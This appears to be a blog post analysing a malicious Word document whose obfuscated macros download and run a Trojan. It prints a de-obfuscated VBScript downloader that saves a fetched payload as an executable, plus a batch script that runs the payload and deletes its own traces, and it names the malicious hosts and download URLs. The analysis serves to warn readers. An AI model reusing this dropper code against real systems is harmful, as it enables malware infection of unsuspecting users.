Home > General > Received a word file from someone – how bad could it be if you open it?

Received a word file from someone – how bad could it be if you open it?


It used to be files that were executable (like .com, .exe .zip, .vbs, etc.) were bad to open when you received them in your email. Then came the pictures or URLs you received in your email because mail clients like Outlook would automatically preview them which results in running them without opening the email but how bad could it be to open a word document?

I wanted to spend a little time diving into what you might fine circulating around now…

I received a word document from an unknown sender so rather than opening the document I was able to load it on a diagnostic Linux server to see what is inside this document. (The concern is not for anything that is saved in the body of the document itself but rather the macros that come with the document.) ALERT – Geek stuff to follow…

As you view the code you may notice that someone has tried to obfuscate the code. This is evident by viewing some of the names of the functions and is common for developers who wish to make reverse engineering difficult.

MAL-Module1

Module1

 

This visual basic module is used to create the subroutine that will be executed and with a loop that continues to run (while true). It also creates a function that may be used to find the temp directory (Environ())

 There is also a module that is responsible for creating the ‘work’ script and runs or executes the code. MAL-Module2

Below we see that the attackers are beginning to think smarter not harder. This URL uses a 302 redirect to re-establish the connection over a secure TLS channel to the same host. SSL traffic cannot be sniffed as easily so this is another attempt to obfuscate the traffic.

Finally after the third macro is run we have a connection to a website called mirai2000.com which starts the exploit. I have tried to un-obfuscate the connection by replacing the variables to MAL-TCP-redirectcome up with the following script;

strTecation = “pioneer9.exe”
frgea =”MSXML2.ServerXMLHTTP”
Set objXMLHTTP = CreateObject(frgea)
objXMLHTTP.open “GET”, paytina, False
objXMLHTTP.send()
ahdjqg = “ADODB.Stream”
Set objADOStream = CreateObject(ahdjqg)
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
objADOStream.SaveToFile strTecation
objADOStream.Close
$$
@echo off
:nqdjwkn
cscript.exe pioneercranberry.vbs
ping 2.2.1.1 -n 4
:windows
pioneer9.exe
:loop
ping 1.3.1.2 -n 1
del pioneercranberry.vbs
del pioneercranberry.bat
if exist pioneercranberry.bat goto loop
if exist pioneercranberry.vbs goto loop
exit

Analysis:

We see a script that is downloaded as pioneercranberry.vbs (GET /777763172631572.txt from mirai2000.com).

We then download a second file (GET /rara.txt which downloads a file from dropbox (https://www.dropbox.com/s/x3igq1hnugevjp0/3d8.exe?dl=1 that appears to be a windows firewall shell?) and save it as an executable (pioneer9).

When the file (pioneercranberry.vbs) is run we see a few ping requests to an IP address (2.2.1.1) in France (IP2000-ADSL-BAS).

Next we download an executable (Trojan) from an IP address (66.240.183.19) on the onx.com network using SSL.

Finally we send a single ping to an IP address (1.3.1.2) in China (CHINANET-GD)…hmmm.

I also see evidence of a teamviewer executable being downloaded (perhaps part of the Trojan above) but it fails to run because of a license issue from an IP address (178.255.155.118) in Italy (ANEXIA-NET).

——————————–

All of this activity because I opened a Microsoft Word document. All carefully obfuscated to evade Virus protection and Application level proxies and filters.

Sophos labels this Trojan as Troj/Agent-AOHW. Unfortunately as of this morning the site no longer works so I am unable to complete my analysis.

The moral of this story is…be careful when dealing with ANY file attachment in email. A good rule of thumb is if you didn’t ask for it DON’T open it.

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